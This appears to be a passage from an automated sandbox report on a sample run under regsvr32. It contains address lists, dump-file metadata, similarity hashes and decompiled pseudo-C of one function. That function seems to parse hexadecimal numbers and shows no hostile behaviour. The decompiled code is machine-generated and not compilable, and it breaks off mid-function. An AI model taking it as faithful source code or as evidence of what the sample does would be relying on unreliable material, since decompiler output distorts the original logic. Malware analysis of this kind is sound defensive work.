0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 555e889524794db440a64874cdf06182ad67f89ffc82874d302a8b4579af219e
Instruction ID: d2ea1f062f5f602ca19fc33afaec867a4fd0a08b37e9a1e56805ddc8a18941d4
Opcode Fuzzy Hash: 555e889524794db440a64874cdf06182ad67f89ffc82874d302a8b4579af219e
Instruction Fuzzy Hash: 78023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4A5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 00418705 Relevance: 1.7, Strings: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00418705(void* __ebx, signed int __ecx, void* __esp, void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				void* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t707;
				intOrPtr* _t708;
				intOrPtr* _t710;
				intOrPtr* _t713;
				signed short* _t716;
				char* _t718;
				signed long long _t720;
				intOrPtr _t725;
				char* _t730;
				signed long long _t732;
				signed short* _t734;
				signed short** _t736;
				signed short* _t739;
				signed short* _t742;
				signed short* _t745;
				signed short** _t747;
				signed short* _t750;
				signed short* _t753;
				signed short** _t755;
				signed short* _t759;
				signed short* _t762;
				signed short** _t764;
				signed short* _t767;
				signed short* _t770;
				signed short* _t773;
				signed short* _t776;
				char* _t778;
				signed long long _t780;
				signed short* _t782;
				signed short** _t784;
				signed short* _t787;
				signed short* _t790;
				char* _t793;
				signed short* _t796;
				signed short** _t798;
				signed short* _t801;
				signed short* _t804;
				intOrPtr* _t806;
				signed short** _t808;
				signed short* _t811;
				signed short* _t814;
				signed short* _t817;
				char* _t819;
				signed int _t820;
				signed short* _t822;
				signed short** _t824;
				signed short* _t827;
				signed short* _t830;
				signed short* _t832;
				intOrPtr _t833;
				void* _t836;
				long long _t837;
				intOrPtr* _t838;
				signed short* _t841;
				long long* _t843;
				signed int _t847;
				void* _t850;
				signed int _t853;
				signed short** _t856;
				signed short* _t859;
				signed short* _t864;
				signed short** _t866;
				signed short* _t870;
				signed short* _t873;
				signed short* _t876;
				intOrPtr* _t878;
				intOrPtr* _t879;
				void* _t881;
				long long* _t882;
				intOrPtr* _t885;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t894;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr _t906;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t914;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t920;
				intOrPtr* _t921;
				intOrPtr* _t923;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t929;
				char* _t932;
				intOrPtr* _t934;
				intOrPtr* _t935;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t939;
				intOrPtr* _t942;
				intOrPtr* _t944;
				char* _t946;
				intOrPtr* _t948;
				intOrPtr* _t950;
				intOrPtr* _t951;
				intOrPtr* _t952;
				intOrPtr _t953;
				char* _t954;
				signed long long _t956;
				void* _t958;
				intOrPtr _t961;
				intOrPtr _t962;
				intOrPtr* _t964;
				char* _t968;
				intOrPtr* _t970;
				intOrPtr* _t972;
				intOrPtr* _t973;
				intOrPtr* _t974;
				intOrPtr* _t976;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t982;
				intOrPtr* _t983;
				intOrPtr* _t986;
				signed int _t987;
				signed short* _t990;
				signed short* _t994;
				signed short* _t998;
				signed short* _t1001;
				signed short* _t1006;
				signed short* _t1010;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1027;
				signed short* _t1028;
				signed short* _t1031;
				signed short* _t1036;
				signed int* _t1042;
				signed int* _t1044;
				signed int* _t1045;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				intOrPtr* _t1050;
				signed int* _t1051;
				signed int* _t1052;
				signed int _t1053;
				void* _t1054;
				intOrPtr _t1055;
				intOrPtr* _t1056;
				long long _t1058;
				signed short* _t1060;
				intOrPtr* _t1061;
				char* _t1062;
				void* _t1066;
				long long* _t1069;
				signed int _t1071;
				signed int _t1074;
				long long _t1075;
				void* _t1077;
				void* _t1078;
				intOrPtr* _t1079;
				long long _t1080;
				char* _t1081;
				signed int _t1083;
				char* _t1084;
				void* _t1085;
				void* _t1086;
				char* _t1088;
				void* _t1089;
				signed int _t1090;
				char* _t1091;
				long long _t1092;
				signed int _t1094;
				void* _t1095;
				short* _t1096;
				long long _t1099;
				long long _t1100;

				_t1095 = __r15;
				_t1089 = __r14;
				_t1086 = __r13;
				_t1078 = __r12;
				_t1075 = __r9;
				_t1069 = __r8;
				_t1042 = __rdi;
				_t987 = __rdx;
				_t881 = __rbx;
				_t602 = __esp;
				_t531 = __ecx;
				_t530 = __ebx;
				_t1054 = __rax;
				_t707 = _v32;
				if(_t707 >= 0x10) {
					_t986 = _v56;
					if(_t707 + 1 >= 0x1000) {
						_t986 =  *((intOrPtr*)(_t986 - 8));
					}
					_t415 = E00402090(_t415, _t986);
				}
				_t416 = E0044CEA0(_t415, _t1054);
				asm("ud2");
				_t708 =  *_t1061;
				 *_t708 =  *_t708 + _t416;
				 *_t708 =  *_t708 + _t416;
				0;
				0;
				_t1062 =  &_v192;
				_a96 = _t1075;
				_t882 = _t1069;
				_t1090 = _t987;
				_t1055 = _a224;
				_t885 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_v32 = _t885;
				_t710 =  *_t885;
				 *((intOrPtr*)(_t710 + 0x10))(_t881, _t1042, _t1054, _t1078, _t1086, _t1089, _t1095, _t1061, _t1066);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1069, _t1075, _t1077, _t1078, _t1086, _t1090, _t1095);
				_t1079 = _t710;
				_t887 = _v32;
				if(_t887 != 0) {
					_t879 =  *_t887;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1079 + 0x30))();
				_t889 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_a40 = _t889;
				_t713 =  *_t889;
				 *((intOrPtr*)(_t713 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1069, _t1075, _t1077, _t1090);
				_t1056 = _t713;
				_t891 = _a40;
				if(_t891 != 0) {
					_t878 =  *_t891;
					 *((intOrPtr*)(_t878 + 0x18))();
					if(_t878 != 0) {
						 *((intOrPtr*)( *_t878 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1056 + 0x68))();
				_t893 =  *_t882;
				_t568 = 0;
				_t558 = 0;
				if(_t893 != 0) {
					_t876 =  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x38))));
					if(_t876 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t893 + 0x38))();
					} else {
						_t524 =  *_t876 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t894 =  *_a96;
				if(_t894 != 0) {
					_t873 =  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x38))));
					if(_t873 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t894 + 0x38))();
					} else {
						_t522 =  *_t873 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1096 = _t1090;
				if(_t558 != _t568) {
					if( *(_t882 + 8) == 0) {
						_t983 =  *_t882;
						if(_t983 == 0) {
							L34:
							 *_t882 = 0;
						} else {
							_t870 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
							if(_t870 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t983 + 0x38))();
							} else {
								_t521 =  *_t870 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L34;
							} else {
								 *(_t882 + 0xa) = _t521;
							}
						}
						 *(_t882 + 8) = 1;
					}
					_t517 =  *(_t882 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1096 = _t1090;
						if(_t517 == _a12) {
							 *_t1090 = 0x2d;
							_t980 =  *_t882;
							__eflags = _t980;
							if(_t980 == 0) {
								goto L49;
							} else {
								_t866 =  *((intOrPtr*)(_t980 + 0x38));
								_t1036 =  *_t866;
								__eflags = _t1036;
								if(_t1036 == 0) {
									L46:
									_t519 =  *((intOrPtr*)( *_t980 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t980 + 0x50));
									_t600 =  *_t1042;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L46;
									} else {
										goto L45;
									}
								}
								goto L47;
							}
							goto L50;
						}
					} else {
						 *_t1090 = 0x2b;
						_t982 =  *_t882;
						if(_t982 == 0) {
							L49:
							 *_t882 = 0;
							_t518 = 1;
						} else {
							_t866 =  *((intOrPtr*)(_t982 + 0x38));
							_t1036 =  *_t866;
							if(_t1036 == 0) {
								L40:
								_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t982 + 0x50));
								_t600 =  *_t1042;
								if(_t600 > 0) {
									L45:
									 *_t1042 = _t600 - 1;
									 *_t866 =  &(_t1036[1]);
									_t519 =  *_t1036 & 0x0000ffff;
								} else {
									goto L40;
								}
							}
							L47:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L49;
							} else {
								_t518 = 0;
							}
						}
						L50:
						_t1096 = _t1090 + 1;
						 *(_t882 + 8) = _t518;
					}
				}
				 *_t1096 = 0x7830;
				_t895 =  *_t882;
				_t569 = 0;
				_t559 = 0;
				if(_t895 != 0) {
					_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t515 =  *_t864 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t716 = _a96;
				_t896 =  *_t716;
				if(_t896 != 0) {
					_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t716 =  *_t896;
						_t513 = _t716[0x1c]();
					} else {
						_t513 =  *_t716 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L118:
					_t559 = 0;
				} else {
					if( *(_t882 + 8) == 0) {
						_t979 =  *_t882;
						if(_t979 == 0) {
							L72:
							 *_t882 = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
								_t716 =  *_t979;
								_t512 = _t716[0x1c]();
							} else {
								_t512 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L72;
							} else {
								 *(_t882 + 0xa) = _t512;
							}
						}
						 *(_t882 + 8) = 1;
					}
					if(( *(_t882 + 0xa) & 0x0000ffff) != _v32) {
						goto L118;
					} else {
						_t972 =  *_t882;
						if(_t972 == 0) {
							L85:
							 *_t882 = 0;
							 *(_t882 + 8) = 1;
							goto L86;
						} else {
							_t856 =  *((intOrPtr*)(_t972 + 0x38));
							_t1031 =  *_t856;
							if(_t1031 == 0) {
								L79:
								_t508 =  *((intOrPtr*)( *_t972 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t972 + 0x50));
								_t598 =  *_t1042;
								if(_t598 <= 0) {
									goto L79;
								} else {
									 *_t1042 = _t598 - 1;
									 *_t856 =  &(_t1031[1]);
									_t508 =  *_t1031 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L85;
							} else {
								_t977 =  *_t882;
								 *(_t882 + 8) = 0;
								if(_t977 == 0) {
									L86:
									_t595 = 0;
								} else {
									_t859 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
									if(_t859 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t977 + 0x38))();
									} else {
										_t510 =  *_t859 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t716 = _a96;
						_t973 =  *_t716;
						if(_t973 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x50)))) <= 0) {
								_t716 =  *_t973;
								_t506 = _t716[0x1c]();
							} else {
								_t506 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t882 + 8) == 0) {
								_t976 =  *_t882;
								if(_t976 == 0) {
									L105:
									 *_t882 = 0;
								} else {
									_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x38))));
									if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x50)))) <= 0) {
										_t716 =  *_t976;
										_t505 = _t716[0x1c]();
									} else {
										_t505 =  *_t716 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L105;
									} else {
										 *(_t882 + 0xa) = _t505;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t501 =  *(_t882 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t974 =  *_t882;
								if(_t974 == 0) {
									L116:
									 *_t882 = 0;
									_t502 = 1;
								} else {
									_t716 =  *((intOrPtr*)(_t974 + 0x38));
									_t1028 =  *_t716;
									if(_t1028 == 0) {
										L113:
										_t716 =  *_t974;
										_t503 = _t716[0x20]();
									} else {
										_t1042 =  *((intOrPtr*)(_t974 + 0x50));
										_t596 =  *_t1042;
										if(_t596 <= 0) {
											goto L113;
										} else {
											 *_t1042 = _t596 - 1;
											 *_t716 =  &(_t1028[1]);
											_t503 =  *_t1028 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L116;
									} else {
										_t502 = 0;
									}
								}
								 *(_t882 + 8) = _t502;
								goto L118;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1096 + 2;
				_t1058 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1058;
				_v48 = _t1079;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1080 = _t1090;
					r13d = 0;
					_t1091 =  &_v34;
					r15d = 0;
					while(1) {
						_t897 =  *_t882;
						__eflags = _t897;
						_t560 = 0;
						if(_t897 == 0) {
							goto L146;
						}
						_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
						__eflags = _t822;
						if(_t822 == 0) {
							L144:
							_t487 =  *((intOrPtr*)( *_t897 + 0x38))();
						} else {
							__eflags =  *( *(_t897 + 0x50));
							if( *( *(_t897 + 0x50)) <= 0) {
								goto L144;
							} else {
								_t487 =  *_t822 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L146:
						_t898 =  *_a96;
						__eflags = _t898;
						if(_t898 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L152;
							} else {
							}
						} else {
							_t830 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
							__eflags = _t830;
							if(_t830 == 0) {
								L150:
								_t483 =  *((intOrPtr*)( *_t898 + 0x38))();
							} else {
								__eflags =  *( *(_t898 + 0x50));
								if( *( *(_t898 + 0x50)) <= 0) {
									goto L150;
								} else {
									_t483 =  *_t830 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L152:
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t950 =  *_t882;
									__eflags = _t950;
									if(_t950 == 0) {
										L162:
										 *_t882 = 0;
									} else {
										_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t950 + 0x38))));
										__eflags = _t827;
										if(_t827 == 0) {
											L159:
											_t424 =  *((intOrPtr*)( *_t950 + 0x38))();
										} else {
											__eflags =  *( *(_t950 + 0x50));
											if( *( *(_t950 + 0x50)) <= 0) {
												goto L159;
											} else {
												_t424 =  *_t827 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L162;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t532 =  *(_t882 + 0xa) & 0x0000ffff;
								_t718 = _t1091;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t718 + 2) & 0x0000ffff;
									_t718 = _t718 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L171;
								}
								_t720 = _t718 -  &_v32 >> 1;
								__eflags = _t720 - 0x15;
								if(_t720 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L130:
											_t946 = _a112;
											 *_t946 =  *((intOrPtr*)(_t720 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t946 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t720;
											if(_t720 != 0) {
												goto L130;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t948 =  *_t882;
									__eflags = _t948;
									if(_t948 == 0) {
										L138:
										 *_t882 = 0;
										_t481 = 1;
									} else {
										_t824 =  *((intOrPtr*)(_t948 + 0x38));
										_t1018 =  *_t824;
										__eflags = _t1018;
										if(_t1018 == 0) {
											L135:
											_t485 =  *((intOrPtr*)( *_t948 + 0x40))();
										} else {
											_t1052 =  *((intOrPtr*)(_t948 + 0x50));
											_t590 =  *_t1052;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L135;
											} else {
												 *_t1052 = _t590 - 1;
												 *_t824 =  &(_t1018[1]);
												_t485 =  *_t1018 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L138;
										} else {
											_t481 = 0;
										}
									}
									 *(_t882 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1092 = _t1080;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L169;
						}
						goto L171;
					}
				} else {
					r13d = 0;
					_a32 = _t1090;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t716;
					} else {
						_t853 =  *_t1079;
						_t424 =  *((intOrPtr*)(_t853 + 0x28))();
						_a88 = _t853;
					}
					_v40 = _t1058;
					_t1084 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t951 =  *_t882;
						_t567 = 0;
						_t592 = 0;
						if(_t951 != 0) {
							_t841 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
							if(_t841 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t951 + 0x38))();
							} else {
								_t495 =  *_t841 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t832 = _a96;
						_t952 =  *_t832;
						if(_t952 != 0) {
							_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
							if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x50)))) <= 0) {
								_t832 =  *_t952;
								_t494 = _t832[0x1c]();
							} else {
								_t494 =  *_t832 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t882 + 8) == 0) {
							_t970 =  *_t882;
							if(_t970 == 0) {
								L236:
								 *_t882 = 0;
							} else {
								_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x38))));
								if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x50)))) <= 0) {
									_t832 =  *_t970;
									_t493 = _t832[0x1c]();
								} else {
									_t493 =  *_t832 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L236;
								} else {
									 *(_t882 + 0xa) = _t493;
								}
							}
							 *(_t882 + 8) = 1;
						}
						_t424 =  *(_t882 + 0xa) & 0x0000ffff;
						_t954 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t954 + 2) & 0x0000ffff;
							_t954 = _t954 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t956 = _t954 -  &_v32 >> 1;
						if(_t956 > 0x15) {
							__eflags = _a72 - 0xf;
							_t958 =  <=  ? _t1084 : _a48;
							__eflags =  *((char*)(_t958 + _t1090));
							if( *((char*)(_t958 + _t1090)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1099 = _a64;
										__eflags = _t1099 - 0xfffffffe;
										if(_t1099 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t832, "string too long", _t1042, _t1058);
											asm("ud2");
											_t1060 = _t832;
											_t837 = _a72;
											__eflags = _t837 - 0x10;
											if(_t837 >= 0x10) {
												_t962 = _a48;
												__eflags = _t837 + 1 - 0x1000;
												if(_t837 + 1 >= 0x1000) {
													_t962 =  *((intOrPtr*)(_t962 - 8));
												}
												_t489 = E00402090(_t489, _t962);
											}
											_t838 = _v56;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t961 = _v80;
												_t838 = _t838 + 1;
												__eflags = _t838 - 0x1000;
												if(_t838 >= 0x1000) {
													_t961 =  *((intOrPtr*)(_t961 - 8));
												}
												_t489 = E00402090(_t489, _t961);
											}
											E0044CEA0(_t489, _t1060);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t838 =  *_t838 + 0x64;
											_t413 = _t838 - 0x6f6f6f70;
											 *_t413 =  *(_t838 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1062);
											return 0x64;
										} else {
											_t1100 = _t1099 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1100);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t967 =  <=  ? _t1084 : _a48;
												 *((char*)(( <=  ? _t1084 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t847 =  <=  ? _t1084 : _a48;
												__eflags = _t847;
												_a64 = _t1100;
												 *((char*)(_t847 + _t1100)) = 0;
											}
											_t1090 = _t1090 + 1;
